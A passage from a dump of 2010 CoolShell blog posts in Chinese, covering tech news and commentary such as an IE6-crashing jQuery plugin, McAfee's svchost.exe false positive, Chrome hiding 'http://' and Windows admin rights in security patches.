[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![“C++的数组不支持多态”？](../wp-content/uploads/2013/04/weibo-150x150.jpg)](https://coolshell.cn/articles/9543.html)[“C++的数组不支持多态”？](https://coolshell.cn/articles/9543.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/5388.html)[C语言中史上最愚蠢的Bug](https://coolshell.cn/articles/5388.html)\nThe post [C++ 程序员自信心曲线图](https://coolshell.cn/articles/2287.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-4-1 Google居然在阻止人们自杀？.md",
    "content": "---\nlayout: post\ntitle: Google居然在阻止人们自杀？\ndate: 2010/4/1/ 4:57:29\nupdated: 2010/4/1/ 4:57:29\nstatus: publish\npublished: true\ntype: post\n---\n\n中文的Google会不会出onebox来劝阻人们翻墙？\n\n\n [suicide prevention onebox](http://www.google.com/search?q=ways+to+commit+suicide)\n\n\n[poison control onebox](http://www.google.com/search?q=poison+control)\n\n\n[![](../wp-content/uploads/2010/04/googleOnebox.png \"googleOnebox\")](https://coolshell.cn/wp-content/uploads/2010/04/googleOnebox.png)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/2785.html)[JS1K 演示](https://coolshell.cn/articles/2785.html)\n* [![2000年的iMac和2010年的iPhone](../wp-content/uploads/2010/06/5176XS40F9L._SL500_AA300_-150x150.jpg)](https://coolshell.cn/articles/2507.html)[2000年的iMac和2010年的iPhone](https://coolshell.cn/articles/2507.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/1283.html)[Linux基金会的广告](https://coolshell.cn/articles/1283.html)\n* [![程序员版的凡客](../wp-content/uploads/2010/08/coolshell.programmer-150x150.jpg)](https://coolshell.cn/articles/2806.html)[程序员版的凡客](https://coolshell.cn/articles/2806.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/671.html)[Python调用C语言函数](https://coolshell.cn/articles/671.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1525.html)[GDB 7.0 发布](https://coolshell.cn/articles/1525.html)\nThe post [Google居然在阻止人们自杀？](https://coolshell.cn/articles/2296.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-4-14 telnet的一个Bug.md",
    "content": "---\nlayout: post\ntitle: telnet的一个Bug\ndate: 2010/4/14/ 1:10:20\nupdated: 2010/4/14/ 1:10:20\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这个链接是Linux分发包Ubuntu的关于Telnet命令的Man Page，\n\n\n<http://manpages.ubuntu.com/manpages/karmic/man1/telnet-ssl.1.html>\n\n\n打开这个Man Page，把页面拉到最后一行，你会看到下面这个BUG（“BUGS：源代码不易读！”）\n\n\n\n```\n     The source code is not comprehensible.\n```\n\nTelnet的源代码在这里：<http://packages.ubuntu.com/source/dapper/netkit-telnet>，下载下来一看，还真是不易读，简单地看了一下代码，发现至少有这样一些问题：\n\n\n* 空格和Tab键混用的缩进，导致很多代码在没有缩进。\n* 大量的#if #else以及大量的各种预编译宏。以及一些怪异的宏。如：\n\n\n#ifndef B19200  \n\n#define B19200 B9600  \n\n#endif\n\n\n#ifndef B38400  \n\n#define B38400 B19200  \n\n#endif\n\n\n* 什么叫在C中写C++，第一次见。（在terminal.cc中间居然出现了几个class）\n* 变量命名很不直观，大量的old, tmp, c1, c2, s1, s2, s3 等学校里用的变量名，只有作者自己知道是什么意思。函数命令的风格也不一致，编程风格也很不一致，基本没有编程规范。\n\n\n的确很不易读。不管怎么样，很欣赏在man page中把源码的易读性列为BUG的这种作法。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![GNU/Linux下有多少是GNU的？](../wp-content/uploads/2011/06/GNUTotalSplit-150x150.png)](https://coolshell.cn/articles/4826.html)[GNU/Linux下有多少是GNU的？](https://coolshell.cn/articles/4826.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/1644.html)[装完Ubuntu 9.10后要干的事](https://coolshell.cn/articles/1644.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1097.html)[Ksplice Uptrack — Ubuntu更新不用重启](https://coolshell.cn/articles/1097.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/501.html)[Ubuntu的并行启动](https://coolshell.cn/articles/501.html)\n* [![Java书籍Top 10](../wp-content/uploads/2009/03/zcover-150x150.jpg)](https://coolshell.cn/articles/14.html)[Java书籍Top 10](https://coolshell.cn/articles/14.html)\n* [![你确信你了解时间吗？](../wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-150x150.png)](https://coolshell.cn/articles/5075.html)[你确信你了解时间吗？](https://coolshell.cn/articles/5075.html)\nThe post [telnet的一个Bug](https://coolshell.cn/articles/2352.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-4-14 一个jQuery的插件.md",
    "content": "---\nlayout: post\ntitle: 一个jQuery的插件\ndate: 2010/4/14/ 5:42:36\nupdated: 2010/4/14/ 5:42:36\nstatus: publish\npublished: true\ntype: post\n---\n\njQuery这个强大的玩意我就不多说了，不知道可以上网搜搜看。IE6我也不多说了，这可能是史上骂名最多的一个浏览器，网上有N多的声讨IE6的文章，你也可以参看本站的《[9个最常见IE的Bug及其fix](https://coolshell.cn/articles/1817.html)》和《[IE的CSS相关的BUG](https://coolshell.cn/articles/1245.html)》，如果你今天还在用IE6，或是IE类浏览器，那请让我小小的BS你一下。\n\n\n这个jQuery的Plugin可能是有史以来所有plugin中最有个性的一个，因为这个plugin什么也不干，其会用户的IE6版的浏览器直接Crash掉。这个plugin叫jQuery Crash，其网页链接在下面，是一个四星级的插件，仅仅435个字节。\n\n\n<http://plugins.jquery.com/project/crash>\n\n\n其是这样介绍自己的，有脏话，我就不翻译了。\n\n\n\n> A jQuery plugin for crashing IE6. That’ll teach those motherf!%@\\*#s to upgrade their s#\\*t.\n> \n> \n\n\n其它，让IE系例的浏览器挂掉，并不需要Javascript，你可以尝试点击下面这个页面，这是一个纯HTML的页面，没有任何的CSS，或是JS的东西，只有HTML。请小心打开（如果在Firefox中打开也可能会挂，Chrome中没事）\n\n\n<http://www.gregmerideth.net/html/iecrash.html>\n\n\n这个纯HTML的来源是本来是作者写了一个程序生成了一个N层嵌套的表格，结果在IE5中导致了IE5不响应直到Crash并使用了100%的CPU资源，这么多年过去了，还是老样子，在我的dual-core+IE7上，也是一样，占了50%的CPU，而且还有很高的内核使用，最后只能把进程给kill了。BT啊，纯HTML都会让IE这样。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![做个环保主义的程序员](../wp-content/uploads/2012/04/Green-Computing-150x150.jpg)](https://coolshell.cn/articles/7186.html)[做个环保主义的程序员](https://coolshell.cn/articles/7186.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [![新浪微博的XSS攻击](../wp-content/uploads/2011/06/sina_xss01-150x150.png)](https://coolshell.cn/articles/4914.html)[新浪微博的XSS攻击](https://coolshell.cn/articles/4914.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![中国仍是IE6的重灾区](../wp-content/uploads/2011/03/IE6-Countdown-150x150.png)](https://coolshell.cn/articles/3921.html)[中国仍是IE6的重灾区](https://coolshell.cn/articles/3921.html)\nThe post [一个jQuery的插件](https://coolshell.cn/articles/2357.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-4-19 MSDN中的两个命名.md",
    "content": "---\nlayout: post\ntitle: MSDN中的两个命名\ndate: 2010/4/19/ 0:45:12\nupdated: 2010/4/19/ 0:45:12\nstatus: publish\npublished: true\ntype: post\n---\n\n第一个叫：**DestroyPhysicalMonitor**\n\n\n<http://msdn.microsoft.com/en-us/library/dd692936(VS.85).aspx>\n\n\n在你的程序中调用这个函数，不知道你敢不敢在运行程序。呵呵。\n\n\n第二个叫：**INITCOMMONCONTROLSEX** –\n\n\n<http://msdn.microsoft.com/en-us/library/bb775507(VS.85).aspx>\n\n\nInitialize Common Control Sex ??? 真是淫者见淫啊。呵呵\n\n\n不知道还有没有其它有趣的？欢迎大家跟贴。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![编程语言流行度](../wp-content/uploads/2010/12/rank_scatter1-150x150.png)](https://coolshell.cn/articles/3385.html)[编程语言流行度](https://coolshell.cn/articles/3385.html)\n* [![免费电子书：Ruby Complete](../wp-content/uploads/2009/04/book-of-ruby-complete-150x150.png)](https://coolshell.cn/articles/591.html)[免费电子书：Ruby Complete](https://coolshell.cn/articles/591.html)\n* [![BT工作原理演示](../wp-content/uploads/2010/03/bt_js_demo-150x150.jpg)](https://coolshell.cn/articles/2184.html)[BT工作原理演示](https://coolshell.cn/articles/2184.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/4458.html)[BT雷人的程序语言（大全）](https://coolshell.cn/articles/4458.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [MSDN中的两个命名](https://coolshell.cn/articles/2363.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-4-19 两个C++的资源.md",
    "content": "---\nlayout: post\ntitle: 两个C++的资源\ndate: 2010/4/19/ 1:17:19\nupdated: 2010/4/19/ 1:17:19\nstatus: publish\npublished: true\ntype: post\n---\n\n第一个是一个C++第三方类库的A-Z：（<http://www.trumphurst.com/cpplibs/cpplibs.php>）其中包含了：\n\n\n* 开源的C++的第三方类库列表\n* 商业的C++的第三方类库列表\n* 一些经典的C++的随书源码\n* 一些C++相关的工具\n\n\n不过，这个网站好像最新更新是在2008年。\n\n\n第二个是Boost C++的一个教程：（<http://en.highscore.de/cpp/boost/>）\n\n\n* [Chapter 1: Introduction](http://en.highscore.de/cpp/boost/introduction.html)\n* [Chapter 2: Smart Pointers](http://en.highscore.de/cpp/boost/smartpointers.html)\n* [Chapter 3: Function Objects](http://en.highscore.de/cpp/boost/functionobjects.html)\n* [Chapter 4: Event Handling](http://en.highscore.de/cpp/boost/eventhandling.html)\n* [Chapter 5: String Handling](http://en.highscore.de/cpp/boost/stringhandling.html)\n* [Chapter 6: Multithreading](http://en.highscore.de/cpp/boost/multithreading.html)\n* [Chapter 7: Asynchronous Input and Output](http://en.highscore.de/cpp/boost/asio.html)\n* [Chapter 8: Interprocess Communication](http://en.highscore.de/cpp/boost/interprocesscommunication.html)\n* [Chapter 9: Filesystem](http://en.highscore.de/cpp/boost/filesystem.html)\n* [Chapter 10: Date and Time](http://en.highscore.de/cpp/boost/datetime.html)\n* [Chapter 11: Serialization](http://en.highscore.de/cpp/boost/serialization.html)\n* [Chapter 12: Parser](http://en.highscore.de/cpp/boost/parser.html)\n* [Chapter 13: Containers](http://en.highscore.de/cpp/boost/containers.html)\n* [Chapter 14: Data Structures](http://en.highscore.de/cpp/boost/datastructures.html)\n* [Chapter 15: Error Handling](http://en.highscore.de/cpp/boost/errorhandling.html)\n* [Chapter 16: Cast Operators](http://en.highscore.de/cpp/boost/castoperators.html)\n\n\n这个教程可能是写得比较不错的了，不过是英文的。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [两个C++的资源](https://coolshell.cn/articles/2365.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-4-22 谷歌Chrome取消”http__”.md",
    "content": "---\nlayout: post\ntitle: 谷歌Chrome取消”http://”\ndate: 2010/4/22/ 3:12:24\nupdated: 2010/4/22/ 3:12:24\nstatus: publish\npublished: true\ntype: post\n---\n\n谷歌下一个版本的Chrome浏览器软件将缺少一个在近20年来一直是浏览器的一个特点的功能：在地址栏中的“http://”。目前开发人员版本的Chrome浏览器已经做了这种改变。这个变化虽然看起来很小，但是，已经在Chrome网站引起了程序员们很大的争议。\n\n\n[![](../wp-content/uploads/2010/04/URL-BAR.png \"Google Chrome 取消 http://\")](https://coolshell.cn/wp-content/uploads/2010/04/URL-BAR.png)\n\n\n在Google Chrome的开发站点上，又有了一个很热的BUG——[Issue  41467](http://code.google.com/p/chromium/issues/detail?id=41467)（上一次的一热议的BUG是的《[Go语言更名Issue 9](https://coolshell.cn/articles/1781.html)》），这个BUG目前已被关闭。不过在其它地方还在热议中，如：[Reddit.com](http://www.reddit.com/r/programming/comments/bt0oh/issue_41467_url_bar_no_longer_shows_http/)。基本上来说，90%以上的程序员反对的，他们希望Google的Chrome可以给一个设置关闭或打开这一功能。\n\n\n一些程序员觉得这是违反了RFC，并且觉得这是在向End User传播一种很不好的东西，那就是网址可以不用http://，这样一来会给程序员增加很多麻烦，比如：他们的程序无法使用http://这一关键字来检查用户的输出，等等。\n\n\niPhone浏览器的也是这样的， 不过当你把光标放到地址栏中，其会显示http://，广大程序员希望Chrome也实现这一方案。然而，[Issue  41467](http://code.google.com/p/chromium/issues/detail?id=41467)目前的状态是“WontFix”，呵呵。\n\n\n有人说，如果你在地址栏中直接输入网址，没有协议前缀，默认就是http://，Google用的就是这个特性，然后，你可以试试在地址栏中输入“[ftp.gnu.org/gnu](ftp://ftp.gnu.org/gnu)”，你会发现，自动加入的不是http://而是ftp://，呵呵。\n\n\n有人说，既然你要省，不如也把www.和后面的.com加上/也省了，因为这些都是默认的嘛。直接打google就OK了。Chrome开发团队说，没有www.和.com/只能算是一个主机名，不能算是DNS域名。呵呵。\n\n\n还有人说，搞这种隐藏的最恶心的就是Windows，隐藏文件后缀名，隐藏系统文件，太扯了，于是，像sexy\\_girls.jpg.exe，huge-tits.jpg.src这样玩意儿让某些电脑知识薄弱意志不坚定的人深受其害。\n\n\n如果有空，请留下你的观点。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![HTTP的前世今生](../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg)](https://coolshell.cn/articles/19840.html)[HTTP的前世今生](https://coolshell.cn/articles/19840.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\nThe post [谷歌Chrome取消”http://”](https://coolshell.cn/articles/2367.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-4-23 McAfee误杀svchost.exe.md",
    "content": "---\nlayout: post\ntitle: McAfee误杀svchost.exe\ndate: 2010/4/23/ 0:45:21\nupdated: 2010/4/23/ 0:45:21\nstatus: publish\npublished: true\ntype: post\n---\n\n这两天，杀毒软件又出事了。还记得2007年5月，那次是Norton把简体中文Windows下的netapi32.dll 和 lsasrv.dll。最近的一次是，2008年11月，AVG把user32.dll给干掉了。\n\n\n这次是McAfee的5958版病毒库，导致McAfee误杀了Windows XP SP3下的svchost.exe，这最终导致了Windows不断地重复启动，据说有数十万PC成了小白鼠。简单地到Twitter和各国外技术社区看看，真是受灾严重啊。\n\n\n下面是出错信息：\n\n\n\n```\nThe file C:WINDOWS\\system32\\svchost.exe contains the W32/Wecorl.a Virus.\nUndetermined clean error, OAS denied access and continued.\nDetected using Scan engine version 5400.1158 DAT version 5958.0000.\n```\n\n其实，可能大家都误解了，McAfee把svchost.exe识别为一个恶意程序，我觉得这是一种“实事求是”的态度啊，svchost.exe难道不是Windows下的万恶之源吗？多少年来，svchost.exe成为了多少病毒，木马和流氓程序的温床，这么多年过去了，Windows用户们默默地承受着svchost.exe所带来的痛苦，经过这么长的时间，只有McAfee不惧M$的淫威第一个站出来把svchost.exe揪出来办了，这是一种什么样的精神啊……\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![图片搜索引擎优化Checklist](../wp-content/uploads/2009/10/seo-cartoon-150x150.jpg)](https://coolshell.cn/articles/1528.html)[图片搜索引擎优化Checklist](https://coolshell.cn/articles/1528.html)\n* [![Amazon的书为什么卖到了$2000万](../wp-content/uploads/2011/04/lawrence_1-150x150.png)](https://coolshell.cn/articles/4605.html)[Amazon的书为什么卖到了$2000万](https://coolshell.cn/articles/4605.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/2606.html)[五个方法成为更好的程序员](https://coolshell.cn/articles/2606.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/2785.html)[JS1K 演示](https://coolshell.cn/articles/2785.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/290.html)[雷人的程序注释](https://coolshell.cn/articles/290.html)\n* [![在线作图编辑服务](../wp-content/uploads/2010/10/Photo-editor-150x150.jpg)](https://coolshell.cn/articles/3244.html)[在线作图编辑服务](https://coolshell.cn/articles/3244.html)\nThe post [McAfee误杀svchost.exe](https://coolshell.cn/articles/2376.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-4-6 微软的安全补丁分析.md",
    "content": "---\nlayout: post\ntitle: 微软的安全补丁分析\ndate: 2010/4/6/ 0:42:44\nupdated: 2010/4/6/ 0:42:44\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2010/04/mshole.jpg \"微软大量的安全补丁移除管理员权限\")截止至2009年底，大约有90%的微软安全补丁是把管理员权限给disable了。根据 [BeyondTrust](http://www.beyondtrust.com/)的报告，到今年3月分，Windows 7 有57%的安全补丁是以移除管理员权限作为解决方法的，相比较而言，Windows 2000 是 53%，Windows XP 是 62%，Windows Server 2003 是 55%，Windows Vista 是 54% 以及 Windows Server 2008 是 53%，而最牛的要算是 —— 100% 的 Microsoft Office 和 94%  Internet Explorer （其中100% 的 IE8 ）的安全补丁是移除管理员权限。\n\n\n这对于某些公司的IT部门来说是个好消息，因为这些公司的IT部门通常是不会让公司的员工有本机的管理员权限的，根据微软大量的安全补丁是移除某些管理员权限的这一特性，这意味着对于本机只有一般用户权限IT管理，将会防住很大一部份的恶意攻击。\n\n\nPaul Cooke, Windows Client Enterprise Security主管说：“我们相信，如果你只是用一般用户来操作Windows的话，这会是一种很好的方式”。而这一提法，相对于Unix的尽可能的不用root用户操作系统这一观点，整整落后了几十年，Windows的用户很习惯于在Administrator下操作系统，这样，一旦中招，任何程序都以系统管理员的权限运行，所以结果也是毁灭性的。这样操作电脑的方式对于Unix的用户来说简直是不可想像的，因为在Unix下，99%的情况下，操作者都不会使用管理员的账号。\n\n\n还记得以前和朋友的一段对话：\n\n\n\n朋友：“为什么Windows下很容易中病毒，Unix/Linux下却不常见？杀毒软件在Windows下是必备的，但还是很容易中招，而Unix/Linux却可以祼奔。”\n\n\n陈皓：“那是因为大家都用Windows的Administrator用户操作电脑，而且文件系统都没有权限设置。不像Unix/Linux，没人总是用root操作电脑，而且，所有的文件和目限都有权限。所以，Windows下，一中病毒，病毒就会以管理员的权限运行，不但破坏你的系统甚至干掉你的杀毒软件。而Unix/Linux下，就算中毒，干掉的也是当前用户下的文件，对于系统文件和系统进程来说，不会有任何问题。”\n\n\n朋友：“那么在Windows下，如何和Unix/Liunx一样使用？”\n\n\n陈皓：“首先，尽量不要使用Adminstrator用户，使用User用户操作电脑。并且把文件系统格式化成NTFS，这样才能设置上权限。把C盘的根目录，%Windows%以及%System%目录，注册表的关键位置（服务、启动等），都设置上只有Administrator可写，User只读。这样一来，就算是中毒，病毒最多改写当关用户文件，其根本无法操作C盘根目录和Windows%以及%System%目录以及注册表的关键位置，还有IE的插件等（这些地方都是病毒最爱去的地方），中毒后不会对系统造成伤害。在这种情况下，你就算没有杀毒软件祼奔也没有问题”\n\n\n朋友：“嗯，听起来不错。不过这样整是不是太麻烦了，特别是要装一些软件什么的。”\n\n\n陈皓：“是的，没错。按道理来说，各个用户的软件应该是装在其用户的目录和环境下，而不应该装在系统的目录下，Unix/Liunx就是这么做的，但是Windows并没有提供这样的方式，很多软件都要去Adminstrator下安装，所以，在系统上装上一些恶意插件，流氓软件也就很正常了。没办法，这就是Windows和Unix/Liunx的差别了，Windows出生的时候就是单用户的，Unix/Liunx则是多用户的，这是Windows先天设计的缺陷，所以，今天这样的局面也是理所当然的。”\n\n\n上面的这段对话，也许有助于你了解Windows，安全等方面的东西。下面，让我们再来用一组数据结束本文。\n\n\n总体来说，去年一年中64%的所有的微软安全补丁把管理员权限给移除了。如果你只考虑Critical级别的安全补丁，那么有点到80%补丁是移除管理员权限，如果只考虑远程攻击方面的，那么这个比率是84% 。相关的报道请查看如下文章：\n\n\n- [90% of Critical Microsoft Windows 7 Vulnerabilities are Mitigated by Eliminating Admin Rights](http://www.beyondtrust.com/downloads/whitepapers/documents/wp039_BeyondTrust_2009_Microsoft_Vulnerability_Analysis.pdf) (beyondtrust.com)\n\n- [Report: Windows 7 holes eased by axing admin rights](http://news.cnet.com/8301-27080_3-20001359-245.html) (news.cnet.com)\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![bash代码注入的安全漏洞](../wp-content/uploads/2014/09/bashbug-150x150.jpg)](https://coolshell.cn/articles/11973.html)[bash代码注入的安全漏洞](https://coolshell.cn/articles/11973.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4077.html)[纯文本配置还是注册表](https://coolshell.cn/articles/4077.html)\n* [![两本电子书](../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg)](https://coolshell.cn/articles/3270.html)[两本电子书](https://coolshell.cn/articles/3270.html)\nThe post [微软的安全补丁分析](https://coolshell.cn/articles/2305.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-4-7 史上最糟糕的网站.md",
    "content": "---\nlayout: post\ntitle: 史上最糟糕的网站\ndate: 2010/4/7/ 1:35:0\nupdated: 2010/4/7/ 1:35:0\nstatus: publish\npublished: true\ntype: post\n---\n\n下面罗列了一些可能是史上最糟糕的网站，当你打开这些网站的时候，请不要太过惊讶，你可以尝试着欣赏一下，不可否认，如果你使劲全力去欣赏，你还是可以找到一些亮点的。呵呵。\n\n\n1. <http://www.shufsd.org/>，这个网站让我想到了我97年在大学里开始学习HTML的时光，该网页的风格可能比当时我做的还要好一些，不过基本上是很类似的。\n2. <http://www.havenworks.com/>，这个网站呢？先介绍这个网站主要是让你对后面的网站有个过渡，老实说，这个网站比起后面的来说，还算可以了。这个网站教会我们如何分类网页上的信息\n3. <http://www.arngren.net/>，这个网站教你如何在固定空间的网页上放置更多的信息。这好像是我们日常生活当中经常出现的问题，如何把更多的东西放进一个固定的箱子里，我们不停地调整着物品摆放的位置和顺序……\n4. <http://www.team2stool.com/>，开始了，这个网站教会我们如何把图片无序地组织起来。\n5. <http://yvettesbridalformal.com/index.htm>，嗯，初看起来吓一大跳，这个网页教你如何制作一个惊悚的网页，不过往细里看，看久一会，你会发现，这个网页设计得很的印象派的风格，也许是一种艺术。\n6. <http://www.dokimos.org/ajff/>，什么叫炫，这就叫炫，太炫了，眼睛就炫花了。打开这个网页的时候，要注意浏览器上边的提示条，耶稣真的很强大啊。\n7. <http://www.belladesoto.us/>，打开这个网页要小心啊，因为这个网页可能比BT下载还猛，据说可能会占用你半GB的带宽。小心啊。\n8. <http://www.superbad.com/>，这可能是史上最无厘头的网页了，不知道这个网站要干什么，找到可以点的地方点吧，打开一个网页，再点击其中的链接，又打开一个网页，不一会儿你就会在一层又一层的网页中迷路了，好在每次打开的网页都风格迥然，倒也不会觉得单一。\n\n\n你还知道一些BT的网站吗？欢迎和我们一样分享。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [![30+ Web下拉菜单](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg)](https://coolshell.cn/articles/3207.html)[30+ 